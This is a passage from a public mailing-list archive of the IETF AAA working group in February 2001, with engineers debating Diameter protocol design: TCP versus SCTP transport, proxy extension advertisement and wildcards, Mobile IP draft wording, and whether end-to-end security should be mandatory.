(Postfix) id 464925DE7E; Mon, 26 Feb 2001 18:39:50 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 2A1F15DE9A; Mon, 26 Feb 2001 18:39:50 -0500 (EST) Received: from cisco.com (titans.cisco.com [161.44.216.10]) by segue.merit.edu (Postfix) with ESMTP id 38D925DE7E for ; Mon, 26 Feb 2001 18:39:47 -0500 (EST) Received: from titans.cisco.com (titans.cisco.com [161.44.216.10]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id SAA23830; Mon, 26 Feb 2001 18:38:29 -0500 (EST) Date: Mon, 26 Feb 2001 18:38:29 -0500 (EST) From: Mark Eklund To: Pat Calhoun Cc: diameter@diameter.org, aaa-wg@merit.edu Subject: Re: [AAA-WG]: Re: [diameter] Redirect-server and transport In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Thanks for the explanation. -mark On Mon, 26 Feb 2001, Pat Calhoun wrote: > Good question. The agreement at the Interim meeting was that NASes MUST > support TCP (and may need to support SCTP in the future), while servers MUST > support both TCP and SCTP. Therefore, a NAS can use whatever transport it > prefers, since a redirect will cause the NAS to talk to a server. > > PatC > > All, > > > > Now that Diameter MAY use TCP, should the Redirect-Host AVP > > contain an AVP specifying Transport? If not, how does one know > > what transport to use when connecting with the Redirect Server? > > > > This question was based off of draft-calhoun-diameter-18.txt. > > > > Thanks, > > > > -mark > > > > > > From owner-aaa-bof@merit.edu Tue Feb 27 02:06:45 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA29926 for ; Tue, 27 Feb 2001 02:06:45 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2C7F95DE2F; Tue, 27 Feb 2001 02:03:54 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 10DFE5DDA0; Tue, 27 Feb 2001 02:03:54 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id 89B955DE86 for ; Tue, 27 Feb 2001 02:03:52 -0500 (EST) Received: from gwzpc (sjc-vpn-172.cisco.com [10.21.64.172]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id XAA12200; Mon, 26 Feb 2001 23:02:02 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Pat Calhoun" Cc: "Bernard Aboba" , Subject: RE: [AAA-WG]: Extension requirements? Date: Mon, 26 Feb 2001 23:02:01 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat Calhoun [mailto:pcalhoun@nasnfs.Eng.Sun.COM] writes: > > > One thing that was proposed is to allow proxies to advertise a special > > > Extension Identifier, that states it is a proxy and can handle > > > ANY extension. > > > Note, however, that *some* proxies will NOT want this > behavior, since they > > > will want to enforce some local policies, so such proxies may > > > instead want to > > > advertise their individual extensions. > > > > Isn't this just a special case of the behavior described above? > After all, > > you can only apply local policy to things you understand; if you don't > > understand it, just pass it on and assume that someone down the > line will. > > Right, but it doesn't seem to make sense that a proxy would have > to advertise > an extension it doesn't support. Therefore, I am stating that we > MAY want to > allocate a special wildcard extension number (say all ones?). OK, so you're saying that some NAS/proxies might _only_ want to talk to a proxy that actively supports a give extension? > > PatC > > From owner-aaa-bof@merit.edu Tue Feb 27 03:13:07 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA01315 for ; Tue, 27 Feb 2001 03:13:07 -0500 (EST) Received: by segue.merit.edu (Postfix) id 671C75DE2D; Tue, 27 Feb 2001 03:12:46 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 4A5575DE31; Tue, 27 Feb 2001 03:12:46 -0500 (EST) Received: from localhost.ipunplugged.com (unknown [213.88.134.217]) by segue.merit.edu (Postfix) with ESMTP id 22AD45DE2D for ; Tue, 27 Feb 2001 03:12:38 -0500 (EST) Received: from fredrikj (c38.local.ipunplugged.com [192.168.4.237]) by localhost.ipunplugged.com (8.9.3/8.9.3) with SMTP id JAA12043; Tue, 27 Feb 2001 09:12:47 +0100 From: "Fredrik Johansson" To: "Pat Calhoun" Cc: "AAA Listan" Subject: RE: [AAA-WG]: Comments on draft-calhoun-diameter-mobileip-12.txt Date: Tue, 27 Feb 2001 09:14:53 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Pat, Ok, works fine with me /Fredrik >-----Original Message----- >From: owner-aaa-bof@merit.edu [mailto:owner-aaa-bof@merit.edu]On Behalf >Of Pat Calhoun >Sent: den 26 februari 2001 17:18 >To: Fredrik Johansson >Cc: Patrice Calhoun; AAA Listan >Subject: RE: [AAA-WG]: Comments on >draft-calhoun-diameter-mobileip-12.txt > > >Just getting around to cleaning this up... > >> I agree that the MUST be colocated. And I guess that you mean that a HOME >> AGENT address of all ones implicitely requests a foreign home >agent, not a >> home address of all ones. >> >> Suggested change in Section 4.7 >> "If the mobile node requests a home agent in the foreign network, and >> the AAAF authorizes the request, the AAAF MUST set the Home-Agent- >> In-Foreign-Network bit to one." >> >> TO: >> "If the mobile node requests a home agent in the foreign network by >> setting the home agent address to all ones, and the AAAF authorizes >> the request, the AAAF MUST set the Home-Agent-In-Foreign-Network >> bit to one." >> >> From Section 1.3 >> >> "The Diameter Mobile IP extension allows a Home Agent to be allocated >> in a foreign network, as required in [3, 16]. When a foreign agent >> detects that the mobile node has a home agent address equal to >> 0.0.0.0 or 255.255.255.255 in the Registration Request message, it >> MUST add a MIP-Feature-Vector AVP with the Home-Agent-Requested flag >> set to one. If the home agent address is equal to 255.255.255.255, >> then the foreign agent also MUST set the Home-Address-Allocatable- >> Only-in-Home-Domain flag equal to one." >> >> How can the request be for a home agent in foreign network and the >> Home-Address-Allocatable-Only-in-Home-Domain be set? Then the >addresses are >> NOT colocated. >> >> Are we missing a flag, Foreign-Home-Agent-Requested ? > >No, I just think that some text needs to be cleaned up. > >I believe that ONLY the Home Address needs to be set to all ones. >Having both >the Home Address AND the Home Agent Address fields be set to all ones can >cause a configuration conflict, as you state above. Therefore, if the Home >Address is set to all ones, the Foreign Agent MAY set to >Home-Address-Allocatable-Only-in-Home-Domain flag equal to one. If >not set to >one, the AAAH has the option of allocating locally, or not. > >This requires cleanup of text in the Feature-Vector, and in section 1.3. > >Does this work? > >PatC > From owner-aaa-bof@merit.edu Tue Feb 27 10:12:50 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11675 for ; Tue, 27 Feb 2001 10:12:50 -0500 (EST) Received: by segue.merit.edu (Postfix) id 8E0C15DDE5; Tue, 27 Feb 2001 10:12:31 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 7C49F5DDA0; Tue, 27 Feb 2001 10:12:31 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 2A3275DD90 for ; Tue, 27 Feb 2001 10:12:30 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA05922; Tue, 27 Feb 2001 07:12:21 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA21982; Tue, 27 Feb 2001 07:08:36 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id HAA04655; Tue, 27 Feb 2001 07:08:34 -0800 (PST) Date: Tue, 27 Feb 2001 07:04:06 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: Extension requirements? To: gwz@cisco.com Cc: Pat Calhoun , Bernard Aboba , aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > > Right, but it doesn't seem to make sense that a proxy would have > > to advertise > > an extension it doesn't support. Therefore, I am stating that we > > MAY want to > > allocate a special wildcard extension number (say all ones?). > > OK, so you're saying that some NAS/proxies might _only_ want to talk to a > proxy that actively supports a give extension? That's the way the protocol works today. A NAS/proxy does not know whether it is communicating with a proxy, or home server. So the wildcard would allow the functionality that's been discussed. PatC From owner-aaa-bof@merit.edu Tue Feb 27 12:12:04 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18518 for ; Tue, 27 Feb 2001 12:12:04 -0500 (EST) Received: by segue.merit.edu (Postfix) id D7B955DE0F; Tue, 27 Feb 2001 12:09:13 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BE6C35DE4F; Tue, 27 Feb 2001 12:09:13 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 914C45DE0F for ; Tue, 27 Feb 2001 12:09:11 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1RH1mv15530; Tue, 27 Feb 2001 09:01:48 -0800 From: "Bernard Aboba" To: "Mark Eklund" , , Subject: RE: [AAA-WG]: Redirect-server and transport Date: Tue, 27 Feb 2001 09:10:20 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit >Now that Diameter MAY use TCP To quote from the interim meeting minutes: "AAA Servers MUST support TCP & SCTP. NASes MUST support TCP, MAY support SCTP. The specification will state that "SCTP MAY be required in the future." TCP is required on NASes because not all NASes have SCTP in their protocol stacks, because SCTP has problems getting past firewalls, and because neither TLS nor IPSEC is fully defined for SCTP." From owner-aaa-bof@merit.edu Tue Feb 27 12:19:17 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18907 for ; Tue, 27 Feb 2001 12:19:16 -0500 (EST) Received: by segue.merit.edu (Postfix) id 6B7865DE62; Tue, 27 Feb 2001 12:16:40 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 363D05DE5A; Tue, 27 Feb 2001 12:16:40 -0500 (EST) Received: from nerf.yikes.com (nerf.yikes.com [209.228.7.149]) by segue.merit.edu (Postfix) with ESMTP id 74F3C5DE5A for ; Tue, 27 Feb 2001 12:16:29 -0500 (EST) Received: from localhost (rdp@localhost) by nerf.yikes.com (8.11.1/8.9.3) with ESMTP id f1RHFkW42017; Tue, 27 Feb 2001 09:15:46 -0800 (PST) (envelope-from rdp@perlman.com) Date: Tue, 27 Feb 2001 09:15:46 -0800 (PST) From: Richard Perlman Reply-To: perl@lucent.com To: Bernard Aboba Cc: Mark Eklund , diameter@diameter.org, aaa-wg@merit.edu Subject: RE: [AAA-WG]: Redirect-server and transport In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Q. Does anyone know if Java supports SCTP yet? Richard On Tue, 27 Feb 2001, Bernard Aboba wrote: > >Now that Diameter MAY use TCP > > To quote from the interim meeting minutes: > > "AAA Servers MUST support TCP & SCTP. NASes MUST support TCP, > MAY support SCTP. The specification will state that "SCTP > MAY be required in the future." TCP is required on NASes > because not all NASes have SCTP in their protocol stacks, because > SCTP has problems getting past firewalls, and because neither > TLS nor IPSEC is fully defined for SCTP." > From owner-aaa-bof@merit.edu Tue Feb 27 12:25:22 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA19222 for ; Tue, 27 Feb 2001 12:25:22 -0500 (EST) Received: by segue.merit.edu (Postfix) id 847CC5DEF8; Tue, 27 Feb 2001 12:22:36 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 650105DEF7; Tue, 27 Feb 2001 12:22:36 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id CAA0C5DEED for ; Tue, 27 Feb 2001 12:22:32 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1RHFMv16278 for ; Tue, 27 Feb 2001 09:15:22 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: Back to extensions... Date: Tue, 27 Feb 2001 09:23:55 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit From the discussion, it seems that we have consensus that accounting should be mandatory, on NAS, proxy and server. Do we have suggested language on other extensions? I think the sense so far is that NASREQ and MOBILEIP are MAY on NAS, Proxy and Server. End to end security is a MUST (one of drafts, haven't decided which one yet) on NAS and Server. Not required on proxy (except to pass it). We have had discussions about how proxies will behave with respect to extensions. It seems to me that a "routing proxy" will advertise all extensions, correct? Other types of proxies will behave differently, no? Can we define what this behavior will look like? The original question was whether it could be assumed that a NAS will be configured with proxies/servers that are homogeneous with respect to their extensions. This simplifies load balancing considerably. Can we make this assumption? From owner-aaa-bof@merit.edu Tue Feb 27 12:31:43 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA19530 for ; Tue, 27 Feb 2001 12:31:43 -0500 (EST) Received: by segue.merit.edu (Postfix) id 0B3775DD90; Tue, 27 Feb 2001 12:29:55 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id EBEED5DDA0; Tue, 27 Feb 2001 12:29:54 -0500 (EST) Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by segue.merit.edu (Postfix) with ESMTP id CC8FF5DD90 for ; Tue, 27 Feb 2001 12:29:53 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14XnvQ-000D01-00; Tue, 27 Feb 2001 09:28:36 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Bernard Aboba" Cc: aaa-wg@merit.edu Subject: RE: [AAA-WG]: Redirect-server and transport References: Message-Id: Date: Tue, 27 Feb 2001 09:28:36 -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit [ no ad hat ] > "AAA Servers MUST support TCP & SCTP. NASes MUST support TCP, > MAY support SCTP. The specification will state that "SCTP > MAY be required in the future." that last MAY probably is a may. i.e. it in itself is not actually a requirement. > TCP is required on NASes because not all NASes have SCTP in their > protocol stacks, because SCTP has problems getting past > firewalls, and because neither TLS nor IPSEC is fully defined for > SCTP." sctp does not have an inherent problem with firewalls. it's just that firewalls have not needed to be sctp-aware yet. they will be. randy From owner-aaa-bof@merit.edu Tue Feb 27 12:57:07 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA20551 for ; Tue, 27 Feb 2001 12:57:07 -0500 (EST) Received: by segue.merit.edu (Postfix) id 05CEA5DE63; Tue, 27 Feb 2001 12:53:06 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id CE1A95DED2; Tue, 27 Feb 2001 12:53:05 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 8A38F5DE63 for ; Tue, 27 Feb 2001 12:51:51 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA14405; Tue, 27 Feb 2001 09:51:43 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA03328; Tue, 27 Feb 2001 09:51:42 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id JAA07164; Tue, 27 Feb 2001 09:51:40 -0800 (PST) Date: Tue, 27 Feb 2001 09:47:21 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [AAA-WG]: Back to extensions... To: Bernard Aboba Cc: "Aaa-Wg@Merit. Edu" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > From the discussion, it seems that we have consensus that > accounting should be mandatory, on NAS, proxy and server. Correct. > Do we have suggested language on other extensions? I > think the sense so far is that NASREQ and MOBILEIP are > MAY on NAS, Proxy and Server. End to end security is a > MUST (one of drafts, haven't decided which one yet) on > NAS and Server. Not required on proxy (except to pass it). So does the base protocol NEED to state the above??? > We have had discussions about how proxies will behave > with respect to extensions. It seems to me that a > "routing proxy" will advertise all extensions, correct? Or a wildcard extension, since we do not know what's next. > Other types of proxies will behave differently, no? Can > we define what this behavior will look like? Yes, they advertise the extensions they support. This is already in the spec. > > The original question was whether it could be assumed that > a NAS will be configured with proxies/servers that are > homogeneous with respect to their extensions. This simplifies > load balancing considerably. Can we make this assumption? No configuration required. Extensions are advertised as part of capabilities negotiation. The NAS can then load balance on the servers that handle the extension desired. I'd like to get this firmed up for -01, so please comment ASAP. PatC From owner-aaa-bof@merit.edu Tue Feb 27 13:48:00 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA23218 for ; Tue, 27 Feb 2001 13:48:00 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9C2775DE37; Tue, 27 Feb 2001 13:47:18 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 8A7145DE28; Tue, 27 Feb 2001 13:47:18 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 30E0B5DE18 for ; Tue, 27 Feb 2001 13:47:17 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA16434; Tue, 27 Feb 2001 10:47:15 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA17909; Tue, 27 Feb 2001 10:47:14 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id KAA08307; Tue, 27 Feb 2001 10:47:12 -0800 (PST) Date: Tue, 27 Feb 2001 10:42:52 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: [AAA-WG]: About extensions.... To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, In order for our current discussion to work, messages will have to include the Extension-Id. So all Mobile IP messages would include the Extension Id set to MOBILEIP. Any objections? PatC From owner-aaa-bof@merit.edu Tue Feb 27 16:14:42 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA29995 for ; Tue, 27 Feb 2001 16:14:41 -0500 (EST) Received: by segue.merit.edu (Postfix) id C82D45DEA5; Tue, 27 Feb 2001 16:13:27 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 87C3B5DEA9; Tue, 27 Feb 2001 16:13:27 -0500 (EST) Received: from fep06.tmt.tele.fi (hank-fep6-0.inet.fi [194.251.242.201]) by segue.merit.edu (Postfix) with ESMTP id C33D95DEA7 for ; Tue, 27 Feb 2001 16:13:24 -0500 (EST) Received: from kolumbus.fi ([195.156.180.122]) by fep06.tmt.tele.fi (InterMail vM.4.01.02.17 201-229-119) with ESMTP id <20010227211313.WUHG14792.fep06.tmt.tele.fi@kolumbus.fi>; Tue, 27 Feb 2001 23:13:13 +0200 Message-ID: <3A9C1870.2030909@kolumbus.fi> Date: Tue, 27 Feb 2001 23:13:20 +0200 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.17-icclin i686; en-US; m18) Gecko/20001107 Netscape6/6.0 X-Accept-Language: en MIME-Version: 1.0 To: Bernard Aboba Cc: "Aaa-Wg@Merit. Edu" Subject: Re: [AAA-WG]: Back to extensions... References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bernard Aboba wrote: > > MAY on NAS, Proxy and Server. End to end security is a > MUST (one of drafts, haven't decided which one yet) on > NAS and Server. Not required on proxy (except to pass it). > I am uncomfortable with end-to-end security being mandatory. There are applications of Diameter where it is not needed, and it does have high implementation cost both in terms of complexity and power requirements. Would it be possible to relax this requirement, at least for NASes? Jari From owner-aaa-bof@merit.edu Wed Feb 28 12:23:29 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14863 for ; Wed, 28 Feb 2001 12:23:28 -0500 (EST) Received: by segue.merit.edu (Postfix) id 4E10F5DEBD; Wed, 28 Feb 2001 12:20:15 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3D4F05DE56; Wed, 28 Feb 2001 12:20:15 -0500 (EST) Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14]) by segue.merit.edu (Postfix) with ESMTP id 9679D5DE29 for ; Wed, 28 Feb 2001 12:20:13 -0500 (EST) Received: from zrchb200.us.nortel.com (actually zrchb200) by smtprch1.nortel.com; Wed, 28 Feb 2001 11:18:11 -0600 Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) id ; Wed, 28 Feb 2001 11:17:52 -0600 Message-ID: <85AA7486A2C1D411BCA20000F8073E4355C9F2@crchy271.us.nortel.com> From: "Rambabu Tummala" To: "'Pat Calhoun'" , aaa-wg@merit.edu, diameter@diameter.org Subject: RE: [AAA-WG]: About extensions.... Date: Wed, 28 Feb 2001 11:17:50 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A1AA.6086E7A0" Sender: owner-aaa-bof@merit.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0A1AA.6086E7A0 Content-Type: text/plain; charset="iso-8859-1" Are you suggesting "MOBILEIP" as a OctetString? Are you suggesting to change Extension-ID to OctectString from Integer32 ? Why do we need add this AVP to each Mobile-IP or other messages, can't we map range of message id's to an extension type? I think the Proxy servers that are attached to the NAS ( Next hop ) are the only ones need to know, what extensions are supported (as we do in DRI message). All others do not need to know the extension, since all they do is look at few attributes and route the message. Any comments? Rambabu Tummala Nortel Networks ESN 444-8970 External (972)684-8970 -----Original Message----- From: Pat Calhoun [mailto:pcalhoun@nasnfs.Eng.Sun.COM] Sent: Tuesday, February 27, 2001 12:43 PM To: aaa-wg@merit.edu; diameter@diameter.org Subject: [AAA-WG]: About extensions.... All, In order for our current discussion to work, messages will have to include the Extension-Id. So all Mobile IP messages would include the Extension Id set to MOBILEIP. Any objections? PatC ------_=_NextPart_001_01C0A1AA.6086E7A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [AAA-WG]: About extensions....

Are you suggesting "MOBILEIP" as a = OctetString?  Are you suggesting to change Extension-ID to = OctectString from Integer32 ?  Why do we need add this AVP to each = Mobile-IP or other messages, can't we map range of message id's to an = extension type?

I think the Proxy servers that are attached to the = NAS ( Next hop ) are the only ones need to know, what extensions are = supported (as we do in DRI message).  All others do not need to = know the extension, since all they do is look at few attributes and = route the message.

Any comments?

Rambabu Tummala
Nortel Networks
ESN 444-8970
External (972)684-8970


-----Original Message-----
From: Pat Calhoun [mailto:pcalhoun@nasnfs.Eng.S= un.COM]
Sent: Tuesday, February 27, 2001 12:43 PM
To: aaa-wg@merit.edu; diameter@diameter.org
Subject: [AAA-WG]: About extensions....


All,

In order for our current discussion to work, messages = will have to include the
Extension-Id. So all Mobile IP messages would = include the Extension Id set to
MOBILEIP.

Any objections?

PatC


------_=_NextPart_001_01C0A1AA.6086E7A0-- From owner-aaa-bof@merit.edu Wed Feb 28 12:34:10 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15375 for ; Wed, 28 Feb 2001 12:34:10 -0500 (EST) Received: by segue.merit.edu (Postfix) id 0EBA15DE78; Wed, 28 Feb 2001 12:30:56 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id EAA155DE77; Wed, 28 Feb 2001 12:30:55 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 8F08F5DE74 for ; Wed, 28 Feb 2001 12:30:54 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA21562; Wed, 28 Feb 2001 09:30:51 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA08616; Wed, 28 Feb 2001 09:30:50 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id JAA28452; Wed, 28 Feb 2001 09:30:48 -0800 (PST) Date: Wed, 28 Feb 2001 09:26:27 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: About extensions.... To: Rambabu Tummala Cc: "'Pat Calhoun'" , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <85AA7486A2C1D411BCA20000F8073E4355C9F2@crchy271.us.nortel.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Are you suggesting "MOBILEIP" as a OctetString? nope. > Are you suggesting to > change Extension-ID to OctectString from Integer32 ? nope. > Why do we need add > this AVP to each Mobile-IP or other messages, can't we map range of message > id's to an extension type? A proxy that advertises a wildcard will NOT know which downstream server to send it to, if it doesn't know what the extension is. > I think the Proxy servers that are attached to the NAS ( Next hop ) are the > only ones need to know, what extensions are supported (as we do in DRI > message). All others do not need to know the extension, since all they do > is look at few attributes and route the message. Then you cannot support servers that only handle specific extensions (e.g. in the home network, a server is dedicated for accounting, while another is for authenticating Mobile IP users). DRIs are exchanged by ALL peers, and SHOULD be used to reduce the latency involved in receiving an error and trying another server. PatC From owner-aaa-bof@merit.edu Wed Feb 28 18:58:35 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA02183 for ; Wed, 28 Feb 2001 18:58:35 -0500 (EST) Received: by segue.merit.edu (Postfix) id 06A055E19F; Wed, 28 Feb 2001 18:55:02 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id A40125DEA7; Wed, 28 